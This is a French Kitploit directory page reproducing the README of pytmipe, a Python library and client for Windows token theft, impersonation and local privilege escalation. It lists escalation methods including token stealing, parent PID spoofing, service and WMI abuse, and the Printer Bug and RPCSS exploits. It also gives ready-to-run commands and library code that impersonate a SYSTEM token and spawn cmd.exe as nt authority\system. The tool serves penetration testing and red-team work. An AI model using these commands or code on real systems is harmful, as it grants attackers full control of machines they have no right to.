Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
pytmipe — Bibliothèque Python et client pour les manipulations de jetons et les usurpations d'identité pour l'escalade de privilèges sous Windows | Kitploit
Outils/GitHubGitHub/quentinhardy/pytmipe
Escalade de PrivilègesOutils d'ImpersonationPost-ExploitationTests d'IntrusionRed Teaming
GitHubquentinhardy/pytmipe

pytmipe

Bibliothèque Python et client pour les manipulations de jetons et les usurpations d'identité pour l'escalade de privilèges sous Windows

Voir le dépôt
12323il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PYTMIPE & TMIPE

PYTMIPE (bibliothèque Python pour la manipulation de tokens et l'usurpation d'identité pour l'élévation de privilèges) est une bibliothèque Python 3 permettant de manipuler les tokens Windows et de gérer les usurpations d'identité afin d'obtenir plus de privilèges sur Windows. TMIPE est le client Python 3 qui utilise la bibliothèque pytmipe.

Contenu

  • Un client Python : tmipe (python3 tmipe.py)
  • Une bibliothèque Python : pytmipe. Utile pour inclure ce projet dans un autre.
  • des exemples pytinstaller, pour obtenir des exécutables standalones

Documentation

  • Diapositives « Windows Token Manipulation, Impersonation & Privilege Escalation » (Anglais) : lien
  • Article dans MISC 112 (Français) : lien

Fonctionnalités principales

MéthodePrivilège(s) requisOS (non exhaustif)Cible directe (max)
Création et usurpation de tokennom d'utilisateur et mot de passeTousadministrateur local
Usurpation/Vol de tokenSeDebugPrivilegeTousnt authority\system
Spoofing du PID parent (héritage de handle)SeDebugPrivilege>= Vistant authority\system
Service (SCM)Administrateur local (et niveau d'intégrité élevé si UAC activé)Tousnt authority\system ou compte domaine
Événement WMIAdministrateur local (et niveau d'intégrité élevé si UAC activé)Tousnt authority\system
LPE « Printer Bug »SeImpersonatePrivilege (compte de service)Windows 8.1, 10 & Server 2012R2/2016/2019nt authority\system
LPE du service RPCSSSeImpersonatePrivilege (compte de service)Windows 10 & Server 2016/2019nt authority\system

Capacités

La liste non exhaustive suivante montre certaines fonctionnalités implémentées dans la bibliothèque pytmipe :

  • Gestion des tokens et des privilèges :
    • obtenir, activer ou désactiver un ou plusieurs privilèges sur un token pour le thread actuel ou distant
    • obtenir des informations sur un token local ou distant
    • obtenir le token effectif pour le thread actuel (token d'usurpation ou primaire)
  • obtenir de nombreuses informations sur le ou les tokens sélectionnés :
    • type d'élévation, type d'usurpation, token lié avec détails, SID, ACL, groupes par défaut, groupe principal, propriétaire, privilèges, source
    • etc
  • Lister tous les tokens accessibles (tokens primaires et d'usurpation) depuis le thread actuel :
    • 2 méthodes différentes implémentées : la méthode « thread » et la méthode « handle » (favorite)
    • vérifier si le token peut être usurpé
    • obtenir des informations sur chaque token (type d'élévation, type d'usurpation, token lié, SID, etc)
    • obtenir tous les tokens accessibles par nom de compte (SID)
  • Usurper un token ou un utilisateur :
    • Créer un token et l'usurper (nécessite les identifiants de l'utilisateur)
    • Usurpation/vol de token (des privilèges spécifiques sont requis) : usurper un token choisi
    • Créer un processus avec un token (des privilèges spécifiques sont requis) : usurper un token choisi et créer un nouveau processus
    • Usurper le premier token nt authority\system trouvé
    • usurper le token primaire d'un processus distant avec un pid
  • Méthodes d'élévation :
    • Spoofing du PID parent - Héritage de handle
    • Service Manager via commande directe ou usurpation de tube nommé : administrateur local vers nt authority\system (ou autre compte privilégié)
    • Planificateur de tâches via commande directe ou usurpation de tube nommé : administrateur local vers nt authority\system
    • Tâche WMI via commande directe ou usurpation de tube nommé : administrateur local vers nt authority\system
    • Printer Bug : SeImpersonatePrivilege vers nt authority\system
    • RPCSS : SeImpersonatePrivilege vers nt authority\system
    • Réactiver les privilèges via le planificateur de tâches et l'usurpation de tube nommé

Dépendances

ctypes est utilisé autant que possible. De nombreuses fonctionnalités de pywin32 ont été redéveloppées dans pytmipe pour éviter l'utilisation de pywin32 pour une meilleure portabilité. Cependant, le module Planificateur de tâches utilise encore pywin32 (plus précisément pythoncom) par manque de temps. Tous les autres modules utilisent uniquement ctypes.

COMMENT UTILISER

Pour le client Python (nommé tmipe) :

root@kitploit:~
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
                {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
                ...

                      **
    888888  8b    d8  88  88""Yb  888888
      88    88b  d88  88  88__dP  88__
      88    88YbdP88  88  88"""   88""
      88    88 YY 88  88  88      888888
-------------------------------------------
Token Manipulation, Impersonation and
     Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])

positional arguments:
  {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}

                         Choose a main command
    cangetadmin          Check if user can get admin access
    printalltokens       Print all tokens accessible from current thread
    printalltokensbyname
                         Print all tokens accessible from current thread by account name
    printalltokensbypid  Print all tokens accessible from current thread by pid
    printsystemtokens    Print all system tokens accessible from current
    searchimpfirstsystem
                         search and impersonate first system token
    imppid               impersonate primary token of selected pid and try to spawn cmd.exe
    imptoken             impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe
    printerbug           exploit the "printer bug" for getting system shell
    rpcss                exploit "rpcss" for getting system shell
    spoof                parent PID Spoofing ("handle inheritance)"
    impuser              create process with creds with impersonation
    runas                create process with creds as runas
    scm                  create process with Service Control Manager

optional arguments:
  -h, --help             show this help message and exit
  --version              show program's version number and exit

Pour la bibliothèque Python (nommée pytmipe), consultez le code source et les exemples. Normalement, j'ai bien documenté le code source... La plupart des fonctions sont documentées.

Pour les exemples pyinstaller et les exécutables autonomes, consultez les fichiers dans les dossiers src/examples/.

Exemples

Exemple 1 : obtenir nt authority\system

Pour usurper le premier token system et obtenir une invite cmd.exe en tant que system à partir du client Python (tmipe) :

root@kitploit:~
python.exe tmipe.py searchimpfirstsystem -vv

Pour faire la même chose grâce à la bibliothèque pytmipe directement, consultez le fichier src/examples/searchAndImpersonateFirstSystemToken.py :

root@kitploit:~
from impersonate import Impersonate
from utils import configureLogging

configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)

Cela ouvrira une invite cmd.exe en tant que system si l'utilisateur Windows actuel dispose des droits requis.

Bien sûr, à partir de ce code source, vous pouvez créer un exécutable autonome avec pyinstaller.

Exemple 2 : obtenir des tokens

Pour obtenir les tokens primaires et d'usurpation utilisés dans le processus actuel :

root@kitploit:~
python.exe tmipe.py printalltokens --current --full --linked

Output :

root@kitploit:~
- PID: 3212
------------------------------
  - PID: 3212
  - type: Primary (1)
  - token: 764
  - hval: None
  - ihandle: None
  - sid: S-1-5-18
  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
  - intlvl: System
  - owner: S-1-5-32-544
  - Groups:
    - S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
    - S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
    - S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
    - S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
  - Privileges (User Rights):
    - SeAssignPrimaryTokenPrivilege: Enabled
    [...]
    - SeTrustedCredManAccessPrivilege: Enabled
  - issystem: True
  - sessionID: 1
  - elevationtype: Default (1)
  - iselevated: True
  - Linked Token: None
  - tokensource: b'*SYSTEM*'
  - primarysidgroup: S-1-5-18
  - isrestricted: False
  - hasrestricitions: True
  - Default DACL:
    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
  [...]
  - Mandatory Policy: NO_WRITE_UP

Pour obtenir tous les tokens accessibles depuis le thread actuel, organisés par pid, lorsque l'usurpation est possible uniquement :

root@kitploit:~
python.exe tmipe.py printalltokensbypid --imp-only

Output :

root@kitploit:~
[...]
- PID 4276:
        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
        - None
- PID 1660:
        - S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)
        - S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
        - S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
        - S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]

Si vous souhaitez effectuer cette opération avec la bibliothèque pytmipe, c'est facile aussi :

root@kitploit:~
from impersonate import Impersonate
from utils import configureLogging

configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)

Exemple 3 : usurper un token

Vous pouvez usurper un token sélectionné.

Première étape, obtenez tous les tokens selon vos filtres (tokens system et tokens pouvant être usurpés par le thread actuel) :

root@kitploit:~
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}

Output :

root@kitploit:~
[...]
- PID: 2288
------------------------------
  - PID: 2288
  - type: Impersonation (2)
  - token: 2504
  - ihandle: 118
  - sid: S-1-5-18
  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
  - intlvl: System
  - owner: S-1-5-18
  - issystem: True
  - elevationtype: Default (1)
  - iselevated: True
  - linkedtoken: None
  - implevel: Impersonate (2)
  - appcontainertoken: False
  [...]
  - primarysidgroup: S-1-5-18
  - isrestricted: False
  - hasrestricitions: True
  - Mandatory Policy: VALID_MASK
  - canimpersonate: True
[...]

Cette sortie précédente montre un token d'usurpation situé dans le pid 2288 (ihandle 118), qui a un niveau d'intégrité system. Il est possible d'usurper ce token spécifique avec la commande suivante :

root@kitploit:~
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv

Cette commande précédente ouvre une cmd.exe en tant que nt authority\system.

Cela peut également être fait avec la bibliothèque pytmipe. Le code source suivant usurpe le premier token system disponible, affiche le token effectif et arrête l'usurpation :

root@kitploit:~
from impersonate import Impersonate
from windef import TokenImpersonation

allTokens = imp.getTokensAccessibleFilter(targetPID=None,
                                          filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
                                          _useThreadMethod=False)
if allTokens == {} or allTokens==None:
    print("No one token found for impersonation")
else:
    pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens'
    firstIHandle = allTokens[pid][0]['ihandle']
    imp.printThisToken(allTokens, pid, firstIHandle)
    imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
    print("Current Effective token for current thread after impersonation:")
    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
    imp.terminateImpersonation()
    print("Current Effective token for current thread (impersonation finished):")
    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)

Don

Si vous souhaitez soutenir mon travail en faisant un don, je vous en serai très reconnaissant :

Via BTC : 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf

Télécharger l’outil